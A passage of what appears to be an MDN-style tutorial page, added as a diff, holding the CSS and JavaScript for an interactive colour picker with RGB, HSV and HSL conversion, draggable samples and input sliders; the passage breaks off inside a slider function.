+	border-radius: 15px;
+
+	position: absolute;
+	top: 50px;
+	left: 20%;
+}
+
+#canvas[data-tutorial='drop']:after {
+	content: "adjust, change or modify";
+	width: 40%;
+	font-size: 24px;
+	position: absolute;
+	top: 130px;
+	left: 32%;
+	z-index: 2;
+}
+
+#canvas [data-tutorial='dblclick'] {
+	background-color: #999 !important;
+}
+
+#canvas [data-tutorial='dblclick']:before {
+	content: "double click to activate";
+	width: 80px;
+	color: #FFF;
+	position: absolute;
+	top: 10%;
+	left: 20%;
+	z-index: 2;
+}
+
+#canvas .sample {
+	width: 100px;
+	height: 100px;
+	min-width: 20px;
+	min-height: 20px;
+	position: absolute;
+	border: 1px solid rgba(255, 255, 255, 0.3);
+}
+
+#canvas .sample:hover {
+	cursor: move;
+}
+
+#canvas .sample[data-active='true']:after {
+	content: "";
+	position: absolute;
+	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+	width: 100%;
+	height: 12px;
+	top: -12px;
+	z-index: 2;
+}
+
+#canvas .sample:hover &gt; * {
+	cursor: pointer;
+	display: block !important;
+}
+
+#canvas .sample .resize-handle {
+	display: none;
+}
+
+#canvas .sample .pick {
+	width: 10px;
+	height: 10px;
+	margin: 5px;
+	background: url('https://mdn.mozillademos.org/files/6079/pick.png') center no-repeat;
+	position: absolute;
+	top: 0;
+	left: 0;
+	display: none;
+}
+
+#canvas .sample .delete {
+	width: 10px;
+	height: 10px;
+	margin: 5px;
+	background: url('https://mdn.mozillademos.org/files/6069/close.png') center no-repeat;
+	position: absolute;
+	top: 0;
+	right: 0;
+	display: none;
+}
+
+
+/**
+ * Canvas controls
+ */
+
+#canvas .toggle-bg {
+	width: 16px;
+	height: 16px;
+	margin: 5px;
+	background: url("images/canvas-controls.png") center left no-repeat;
+	position: absolute;
+	top: 0;
+	right: 0;
+}
+
+#canvas .toggle-bg:hover {
+	cursor: pointer;
+}
+
+#canvas[data-bg='true'] {
+	background: none;
+}
+
+#canvas[data-bg='true'] .toggle-bg {
+	background: url('https://mdn.mozillademos.org/files/6067/canvas-controls.png') center right no-repeat;
+}
+
+#zindex {
+	height: 20px;
+	margin: 5px;
+	font-size: 16px;
+	position: absolute;
+	opacity: 0;
+	top: -10000px;
+	left: 0;
+	color: #777;
+	float: left;
+	transition: opacity 1s;
+}
+
+#zindex input {
+	border: 1px solid #DDD;
+	font-size: 16px;
+	color: #777;
+}
+
+#zindex .ui-input-slider-info {
+	width: 60px;
+}
+
+#zindex[data-active='true'] {
+	top: 0;
+	opacity: 1;
+}
+
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js">'use strict';
+
+var UIColorPicker = (function UIColorPicker() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	var subscribers = [];
+	var pickers = [];
+
+	/**
+	 * RGBA Color class
+	 *
+	 * HSV/HSB and HSL (hue, saturation, value / brightness, lightness)
+	 * @param hue			0-360
+	 * @param saturation	0-100
+	 * @param value 		0-100
+	 * @param lightness		0-100
+	 */
+
+	function Color(color) {
+
+		if(color instanceof Color === true) {
+			this.copy(color);
+			return;
+		}
+
+		this.r = 0;
+		this.g = 0;
+		this.b = 0;
+		this.a = 1;
+		this.hue = 0;
+		this.saturation = 0;
+		this.value = 0;
+		this.lightness = 0;
+		this.format = 'HSV';
+	}
+
+	function RGBColor(r, g, b) {
+		var color = new Color();
+		color.setRGBA(r, g, b, 1);
+		return color;
+	}
+
+	function RGBAColor(r, g, b, a) {
+		var color = new Color();
+		color.setRGBA(r, g, b, a);
+		return color;
+	}
+
+	function HSVColor(h, s, v) {
+		var color = new Color();
+		color.setHSV(h, s, v);
+		return color;
+	}
+
+	function HSVAColor(h, s, v, a) {
+		var color = new Color();
+		color.setHSV(h, s, v);
+		color.a = a;
+		return color;
+	}
+
+	function HSLColor(h, s, l) {
+		var color = new Color();
+		color.setHSL(h, s, l);
+		return color;
+	}
+
+	function HSLAColor(h, s, l, a) {
+		var color = new Color();
+		color.setHSL(h, s, l);
+		color.a = a;
+		return color;
+	}
+
+	Color.prototype.copy = function copy(obj) {
+		if(obj instanceof Color !== true) {
+			console.log('Typeof parameter not Color');
+			return;
+		}
+
+		this.r = obj.r;
+		this.g = obj.g;
+		this.b = obj.b;
+		this.a = obj.a;
+		this.hue = obj.hue;
+		this.saturation = obj.saturation;
+		this.value = obj.value;
+		this.format = '' + obj.format;
+		this.lightness = obj.lightness;
+	};
+
+	Color.prototype.setFormat = function setFormat(format) {
+		if (format === 'HSV')
+			this.format = 'HSV';
+		if (format === 'HSL')
+			this.format = 'HSL';
+	};
+
+	/*========== Methods to set Color Properties ==========*/
+
+	Color.prototype.isValidRGBValue = function isValidRGBValue(value) {
+		return (typeof(value) === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+			value &gt;= 0 &amp;&amp; value &lt;= 255);
+	};
+
+	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+		if (this.isValidRGBValue(red) === false ||
+			this.isValidRGBValue(green) === false ||
+			this.isValidRGBValue(blue) === false)
+			return;
+
+			this.r = red | 0;
+			this.g = green | 0;
+			this.b = blue | 0;
+
+		if (this.isValidRGBValue(alpha) === true)
+			this.a = alpha | 0;
+	};
+
+	Color.prototype.setByName = function setByName(name, value) {
+		if (name === 'r' || name === 'g' || name === 'b') {
+			if(this.isValidRGBValue(value) === false)
+				return;
+
+			this[name] = value;
+			this.updateHSX();
+		}
+	};
+
+	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.value = value;
+		this.HSVtoRGB();
+	};
+
+	Color.prototype.setHSL = function setHSL(hue, saturation, lightness) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.lightness = lightness;
+		this.HSLtoRGB();
+	};
+
+	Color.prototype.setHue = function setHue(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value &lt; 0 || value &gt; 359)
+			return;
+		this.hue = value;
+		this.updateRGB();
+	};
+
+	Color.prototype.setSaturation = function setSaturation(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value &lt; 0 || value &gt; 100)
+			return;
+		this.saturation = value;
+		this.updateRGB();
+	};
+
+	Color.prototype.setValue = function setValue(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value &lt; 0 || value &gt; 100)
+			return;
+		this.value = value;
+		this.HSVtoRGB();
+	};
+
+	Color.prototype.setLightness = function setLightness(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value &lt; 0 || value &gt; 100)
+			return;
+		this.lightness = value;
+		this.HSLtoRGB();
+	};
+
+	Color.prototype.setHexa = function setHexa(value) {
+		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value);
+
+		if (valid !== true)
+			return;
+
+		if (value[0] === '#')
+			value = value.slice(1, value.length);
+
+		if (value.length === 3)
+			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,'$1$1$2$2$3$3');
+
+		this.r = parseInt(value.substr(0, 2), 16);
+		this.g = parseInt(value.substr(2, 2), 16);
+		this.b = parseInt(value.substr(4, 2), 16);
+
+		this.alpha	= 1;
+		this.RGBtoHSV();
+	};
+
+	/*========== Conversion Methods ==========*/
+
+	Color.prototype.convertToHSL = function convertToHSL() {
+		if (this.format === 'HSL')
+			return;
+
+		this.setFormat('HSL');
+		this.RGBtoHSL();
+	};
+
+	Color.prototype.convertToHSV = function convertToHSV() {
+		if (this.format === 'HSV')
+			return;
+
+		this.setFormat('HSV');
+		this.RGBtoHSV();
+	};
+
+	/*========== Update Methods ==========*/
+
+	Color.prototype.updateRGB = function updateRGB() {
+		if (this.format === 'HSV') {
+			this.HSVtoRGB();
+			return;
+		}
+
+		if (this.format === 'HSL') {
+			this.HSLtoRGB();
+			return;
+		}
+	};
+
+	Color.prototype.updateHSX = function updateHSX() {
+		if (this.format === 'HSV') {
+			this.RGBtoHSV();
+			return;
+		}
+
+		if (this.format === 'HSL') {
+			this.RGBtoHSL();
+			return;
+		}
+	};
+
+	Color.prototype.HSVtoRGB = function HSVtoRGB() {
+		var sat = this.saturation / 100;
+		var value = this.value / 100;
+		var C = sat * value;
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = value - C;
+		var precision = 255;
+
+		C = (C + m) * precision | 0;
+		X = (X + m) * precision | 0;
+		m = m * precision | 0;
+
+		if (H &gt;= 0 &amp;&amp; H &lt; 1) {	this.setRGBA(C, X, m);	return; }
+		if (H &gt;= 1 &amp;&amp; H &lt; 2) {	this.setRGBA(X, C, m);	return; }
+		if (H &gt;= 2 &amp;&amp; H &lt; 3) {	this.setRGBA(m, C, X);	return; }
+		if (H &gt;= 3 &amp;&amp; H &lt; 4) {	this.setRGBA(m, X, C);	return; }
+		if (H &gt;= 4 &amp;&amp; H &lt; 5) {	this.setRGBA(X, m, C);	return; }
+		if (H &gt;= 5 &amp;&amp; H &lt; 6) {	this.setRGBA(C, m, X);	return; }
+	};
+
+	Color.prototype.HSLtoRGB = function HSLtoRGB() {
+		var sat = this.saturation / 100;
+		var light = this.lightness / 100;
+		var C = sat * (1 - Math.abs(2 * light - 1));
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = light - C/2;
+		var precision = 255;
+
+		C = (C + m) * precision | 0;
+		X = (X + m) * precision | 0;
+		m = m * precision | 0;
+
+		if (H &gt;= 0 &amp;&amp; H &lt; 1) {	this.setRGBA(C, X, m);	return; }
+		if (H &gt;= 1 &amp;&amp; H &lt; 2) {	this.setRGBA(X, C, m);	return; }
+		if (H &gt;= 2 &amp;&amp; H &lt; 3) {	this.setRGBA(m, C, X);	return; }
+		if (H &gt;= 3 &amp;&amp; H &lt; 4) {	this.setRGBA(m, X, C);	return; }
+		if (H &gt;= 4 &amp;&amp; H &lt; 5) {	this.setRGBA(X, m, C);	return; }
+		if (H &gt;= 5 &amp;&amp; H &lt; 6) {	this.setRGBA(C, m, X);	return; }
+	};
+
+	Color.prototype.RGBtoHSV = function RGBtoHSV() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / cmax;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue &lt; 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.value = (cmax * 100) | 0;
+	};
+
+	Color.prototype.RGBtoHSL = function RGBtoHSL() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+		var lightness = (cmax + cmin) / 2;
+		var X = (1 - Math.abs(2 * lightness - 1));
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / X;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue &lt; 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.lightness = (lightness * 100) | 0;
+	};
+
+	/*========== Get Methods ==========*/
+
+	Color.prototype.getHexa = function getHexa() {
+		var r = this.r.toString(16);
+		var g = this.g.toString(16);
+		var b = this.b.toString(16);
+		if (this.r &lt; 16) r = '0' + r;
+		if (this.g &lt; 16) g = '0' + g;
+		if (this.b &lt; 16) b = '0' + b;
+		var value = '#' + r + g + b;
+		return value.toUpperCase();
+	};
+
+	Color.prototype.getRGBA = function getRGBA() {
+
+		var rgb = '(' + this.r + ', ' + this.g + ', ' + this.b;
+		var a = '';
+		var v = '';
+		var x = parseFloat(this.a);
+		if (x !== 1) {
+			a = 'a';
+			v = ', ' + x;
+		}
+
+		var value = 'rgb' + a + rgb + v + ')';
+		return value;
+	};
+
+	Color.prototype.getHSLA = function getHSLA() {
+		if (this.format === 'HSV') {
+			var color = new Color(this);
+			color.setFormat('HSL');
+			color.updateHSX();
+			return color.getHSLA();
+		}
+
+		var a = '';
+		var v = '';
+		var hsl = '(' + this.hue + ', ' + this.saturation + '%, ' + this.lightness +'%';
+		var x = parseFloat(this.a);
+		if (x !== 1) {
+			a = 'a';
+			v = ', ' + x;
+		}
+
+		var value = 'hsl' + a + hsl + v + ')';
+		return value;
+	};
+
+	Color.prototype.getColor = function getColor() {
+		if (this.a | 0 === 1)
+			return this.getHexa();
+		return this.getRGBA();
+	};
+
+	/*=======================================================================*/
+	/*=======================================================================*/
+
+	/*========== Capture Mouse Movement ==========*/
+
+	var setMouseTracking = function setMouseTracking(elem, callback) {
+		elem.addEventListener('mousedown', function(e) {
+			callback(e);
+			document.addEventListener('mousemove', callback);
+		});
+
+		document.addEventListener('mouseup', function(e) {
+			document.removeEventListener('mousemove', callback);
+		});
+	};
+
+	/*====================*/
+	// Color Picker Class
+	/*====================*/
+
+	function ColorPicker(node) {
+		this.color = new Color();
+		this.node = node;
+		this.subscribers = [];
+
+		var type = this.node.getAttribute('data-mode');
+		var topic = this.node.getAttribute('data-topic');
+
+		this.topic = topic;
+		this.picker_mode = (type === 'HSL') ? 'HSL' : 'HSV';
+		this.color.setFormat(this.picker_mode);
+
+		this.createPickingArea();
+		this.createHueArea();
+
+		this.newInputComponent('H', 'hue', this.inputChangeHue.bind(this));
+		this.newInputComponent('S', 'saturation', this.inputChangeSaturation.bind(this));
+		this.newInputComponent('V', 'value', this.inputChangeValue.bind(this));
+		this.newInputComponent('L', 'lightness', this.inputChangeLightness.bind(this));
+
+		this.createAlphaArea();
+
+		this.newInputComponent('R', 'red', this.inputChangeRed.bind(this));
+		this.newInputComponent('G', 'green', this.inputChangeGreen.bind(this));
+		this.newInputComponent('B', 'blue', this.inputChangeBlue.bind(this));
+
+		this.createPreviewBox();
+		this.createChangeModeButton();
+
+		this.newInputComponent('alpha', 'alpha', this.inputChangeAlpha.bind(this));
+		this.newInputComponent('hexa', 'hexa', this.inputChangeHexa.bind(this));
+
+		this.setColor(this.color);
+		pickers[topic] = this;
+	}
+
+	/*************************************************************************/
+	//				Function for generating the color-picker
+	/*************************************************************************/
+
+	ColorPicker.prototype.createPickingArea = function createPickingArea() {
+		var area = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'picking-area';
+		picker.className = 'picker';
+
+		this.picking_area = area;
+		this.color_picker = picker;
+		setMouseTracking(area, this.updateColor.bind(this));
+
+		area.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createHueArea = function createHueArea() {
+		var area = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'hue';
+		picker.className ='slider-picker';
+
+		this.hue_area = area;
+		this.hue_picker = picker;
+		setMouseTracking(area, this.updateHueSlider.bind(this));
+
+		area.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createAlphaArea = function createAlphaArea() {
+		var area = document.createElement('div');
+		var mask = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'alpha';
+		mask.className = 'alpha-mask';
+		picker.className = 'slider-picker';
+
+		this.alpha_area = area;
+		this.alpha_mask = mask;
+		this.alpha_picker = picker;
+		setMouseTracking(area, this.updateAlphaSlider.bind(this));
+
+		area.appendChild(mask);
+		mask.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createPreviewBox = function createPreviewBox(e) {
+		var preview_box = document.createElement('div');
+		var preview_color = document.createElement('div');
+
+		preview_box.className = 'preview';
+		preview_color.className = 'preview-color';
+
+		this.preview_color = preview_color;
+
+		preview_box.appendChild(preview_color);
+		this.node.appendChild(preview_box);
+	};
+
+	ColorPicker.prototype.newInputComponent = function newInputComponent(title, topic, onChangeFunc) {
+		var wrapper = document.createElement('div');
+		var input = document.createElement('input');
+		var info = document.createElement('span');
+
+		wrapper.className = 'input';
+		wrapper.setAttribute('data-topic', topic);
+		info.textContent = title;
+		info.className = 'name';
+		input.setAttribute('type', 'text');
+
+		wrapper.appendChild(info);
+		wrapper.appendChild(input);
+		this.node.appendChild(wrapper);
+
+		input.addEventListener('change', onChangeFunc);
+		input.addEventListener('click', function() {
+			this.select();
+		});
+
+		this.subscribe(topic, function(value) {
+			input.value = value;
+		});
+	};
+
+	ColorPicker.prototype.createChangeModeButton = function createChangeModeButton() {
+
+		var button = document.createElement('div');
+		button.className = 'switch_mode';
+		button.addEventListener('click', function() {
+			if (this.picker_mode === 'HSV')
+				this.setPickerMode('HSL');
+			else
+				this.setPickerMode('HSV');
+
+		}.bind(this));
+
+		this.node.appendChild(button);
+	};
+
+	/*************************************************************************/
+	//					Updates properties of UI elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.updateColor = function updateColor(e) {
+		var x = e.pageX - this.picking_area.offsetLeft;
+		var y = e.pageY - this.picking_area.offsetTop;
+		var picker_offset = 5;
+
+		// width and height should be the same
+		var size = this.picking_area.clientWidth;
+
+		if (x &gt; size) x = size;
+		if (y &gt; size) y = size;
+		if (x &lt; 0) x = 0;
+		if (y &lt; 0) y = 0;
+
+		var value = 100 - (y * 100 / size) | 0;
+		var saturation = x * 100 / size | 0;
+
+		if (this.picker_mode === 'HSV')
+			this.color.setHSV(this.color.hue, saturation, value);
+		if (this.picker_mode === 'HSL')
+			this.color.setHSL(this.color.hue, saturation, value);
+
+		this.color_picker.style.left = x - picker_offset + 'px';
+		this.color_picker.style.top = y - picker_offset + 'px';
+
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('value', value);
+		this.notify('lightness', value);
+		this.notify('saturation', saturation);
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.updateHueSlider = function updateHueSlider(e) {
+		var x = e.pageX - this.hue_area.offsetLeft;
+		var width = this.hue_area.clientWidth;
+
+		if (x &lt; 0) x = 0;
+		if (x &gt; width) x = width;
+
+		// TODO 360 =&gt; 359
+		var hue = ((359 * x) / width) | 0;
+		// if (hue === 360) hue = 359;
+
+		this.updateSliderPosition(this.hue_picker, x);
+		this.setHue(hue);
+	};
+
+	ColorPicker.prototype.updateAlphaSlider = function updateAlphaSlider(e) {
+		var x = e.pageX - this.alpha_area.offsetLeft;
+		var width = this.alpha_area.clientWidth;
+
+		if (x &lt; 0) x = 0;
+		if (x &gt; width) x = width;
+
+		this.color.a = (x / width).toFixed(2);
+
+		this.updateSliderPosition(this.alpha_picker, x);
+		this.updatePreviewColor();
+
+		this.notify('alpha', this.color.a);
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.setHue = function setHue(value) {
+		this.color.setHue(value);
+
+		this.updatePickerBackground();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+		this.notify('hue', this.color.hue);
+
+		notify(this.topic, this.color);
+	};
+
+	// Updates when one of Saturation/Value/Lightness changes
+	ColorPicker.prototype.updateSLV = function updateSLV() {
+		this.updatePickerPosition();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+
+		notify(this.topic, this.color);
+	};
+
+	/*************************************************************************/
+	//				Update positions of various UI elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.updatePickerPosition = function updatePickerPosition() {
+		var size = this.picking_area.clientWidth;
+		var value = 0;
+		var offset = 5;
+
+		if (this.picker_mode === 'HSV')
+			value = this.color.value;
+		if (this.picker_mode === 'HSL')
+			value = this.color.lightness;
+
+		var x = (this.color.saturation * size / 100) | 0;
+		var y = size - (value * size / 100) | 0;
+
+		this.color_picker.style.left = x - offset + 'px';
+		this.color_picker.style.top = y - offset + 'px';
+	};
+
+	ColorPicker.prototype.updateSliderPosition = function updateSliderPosition(elem, pos) {
+		elem.style.left = Math.max(pos - 3, -2) + 'px';
+	};
+
+	ColorPicker.prototype.updateHuePicker = function updateHuePicker() {
+		var size = this.hue_area.clientWidth;
+		var offset = 1;
+		var pos = (this.color.hue * size / 360 ) | 0;
+		this.hue_picker.style.left = pos - offset + 'px';
+	};
+
+	ColorPicker.prototype.updateAlphaPicker = function updateAlphaPicker() {
+		var size = this.alpha_area.clientWidth;
+		var offset = 1;
+		var pos = (this.color.a * size) | 0;
+		this.alpha_picker.style.left = pos - offset + 'px';
+	};
+
+	/*************************************************************************/
+	//						Update background colors
+	/*************************************************************************/
+
+	ColorPicker.prototype.updatePickerBackground = function updatePickerBackground() {
+		var nc = new Color(this.color);
+		nc.setHSV(nc.hue, 100, 100);
+		this.picking_area.style.backgroundColor = nc.getHexa();
+	};
+
+	ColorPicker.prototype.updateAlphaGradient = function updateAlphaGradient() {
+		this.alpha_mask.style.backgroundColor = this.color.getHexa();
+	};
+
+	ColorPicker.prototype.updatePreviewColor = function updatePreviewColor() {
+		this.preview_color.style.backgroundColor = this.color.getColor();
+	};
+
+	/*************************************************************************/
+	//						Update input elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.inputChangeHue = function inputChangeHue(e) {
+		var value = parseInt(e.target.value);
+		this.setHue(value);
+		this.updateHuePicker();
+	};
+
+	ColorPicker.prototype.inputChangeSaturation = function inputChangeSaturation(e) {
+		var value = parseInt(e.target.value);
+		this.color.setSaturation(value);
+		e.target.value = this.color.saturation;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeValue = function inputChangeValue(e) {
+		var value = parseInt(e.target.value);
+		this.color.setValue(value);
+		e.target.value = this.color.value;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeLightness = function inputChangeLightness(e) {
+		var value = parseInt(e.target.value);
+		this.color.setLightness(value);
+		e.target.value = this.color.lightness;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeRed = function inputChangeRed(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('r', value);
+		e.target.value = this.color.r;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeGreen = function inputChangeGreen(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('g', value);
+		e.target.value = this.color.g;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeBlue = function inputChangeBlue(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('b', value);
+		e.target.value = this.color.b;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeAlpha = function inputChangeAlpha(e) {
+		var value = parseFloat(e.target.value);
+
+		if (typeof value === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+			value &gt;= 0 &amp;&amp; value &lt;= 1)
+			this.color.a = value.toFixed(2);
+
+		e.target.value = this.color.a;
+		this.updateAlphaPicker();
+	};
+
+	ColorPicker.prototype.inputChangeHexa = function inputChangeHexa(e) {
+		var value = e.target.value;
+		this.color.setHexa(value);
+		this.setColor(this.color);
+	};
+
+	/*************************************************************************/
+	//							Internal Pub/Sub
+	/*************************************************************************/
+
+	ColorPicker.prototype.subscribe = function subscribe(topic, callback) {
+		this.subscribers[topic] = callback;
+	};
+
+	ColorPicker.prototype.notify = function notify(topic, value) {
+		if (this.subscribers[topic])
+			this.subscribers[topic](value);
+	};
+
+	/*************************************************************************/
+	//							Set Picker Properties
+	/*************************************************************************/
+
+	ColorPicker.prototype.setColor = function setColor(color) {
+		if(color instanceof Color !== true) {
+			console.log('Typeof parameter not Color');
+			return;
+		}
+
+		if (color.format !== this.picker_mode) {
+			color.setFormat(this.picker_mode);
+			color.updateHSX();
+		}
+
+		this.color.copy(color);
+		this.updateHuePicker();
+		this.updatePickerPosition();
+		this.updatePickerBackground();
+		this.updateAlphaPicker();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+
+		this.notify('hue', this.color.hue);
+		this.notify('saturation', this.color.saturation);
+		this.notify('value', this.color.value);
+		this.notify('lightness', this.color.lightness);
+
+		this.notify('alpha', this.color.a);
+		this.notify('hexa', this.color.getHexa());
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.setPickerMode = function setPickerMode(mode) {
+		if (mode !== 'HSV' &amp;&amp; mode !== 'HSL')
+			return;
+
+		this.picker_mode = mode;
+		this.node.setAttribute('data-mode', this.picker_mode);
+		this.setColor(this.color);
+	};
+
+	/*************************************************************************/
+	//								UNUSED
+	/*************************************************************************/
+
+	var setPickerMode = function setPickerMode(topic, mode) {
+		if (pickers[topic])
+			pickers[topic].setPickerMode(mode);
+	};
+
+	var setColor = function setColor(topic, color) {
+		if (pickers[topic])
+			pickers[topic].setColor(color);
+	};
+
+	var getColor = function getColor(topic) {
+		if (pickers[topic])
+			return new Color(pickers[topic].color);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(callback) {
+		subscribers.indexOf(callback);
+		subscribers.splice(index, 1);
+	};
+
+	var notify = function notify(topic, value) {
+		if (subscribers[topic] === undefined || subscribers[topic].length === 0)
+			return;
+
+		var color = new Color(value);
+		for (var i in subscribers[topic])
+			subscribers[topic][i](color);
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-color-picker');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new ColorPicker(elem[i]);
+	};
+
+	return {
+		init : init,
+		Color : Color,
+		RGBColor : RGBColor,
+		RGBAColor : RGBAColor,
+		HSVColor : HSVColor,
+		HSVAColor : HSVAColor,
+		HSLColor : HSLColor,
+		HSLAColor : HSLAColor,
+		setColor : setColor,
+		getColor : getColor,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPickerMode : setPickerMode
+	};
+
+})();
+
+
+
+/**
+ * UI-SlidersManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+		input.style.width = 50 + obj.precision * 10 + 'px';
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseFloat(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		return input;
+	};
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+
+			document.addEventListener("mouseup", slideEnd);
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		var slideEnd = function slideEnd(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		};
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		};
+
+		return slider;
+	};
+
+	var InputSlider = function(node) {
+		var min		= parseFloat(node.getAttribute('data-min'));
+		var max		= parseFloat(node.getAttribute('data-max'));
+		var step	= parseFloat(node.getAttribute('data-step'));
+		var value	= parseFloat(node.getAttribute('data-value'));
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+		var precision = node.getAttribute('data-precision') | 0;
+
+		this.min = isNaN(min) ? 0 : min;
+		this.max = isNaN(max) ? 100 : max;
+		this.precision = precision &gt;= 0 ? precision : 0;
+		this.step = step &lt; 0 || isNaN(step) ? 1 : step.toFixed(precision);
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit === null ? '' : unit;
+		this.sensivity = sensivity &gt; 0 ? sensivity : 5;
+		value = isNaN(value) ? this.min : value;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	};
+
+	InputSlider.prototype.setInputValue = function setInputValue() {
+		this.input.value = this.value.toFixed(this.precision) + this.unit;
+	};
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = parseFloat(value.toFixed(slider.precision));
+
+		if (value &gt; slider.max) value = slider.max;
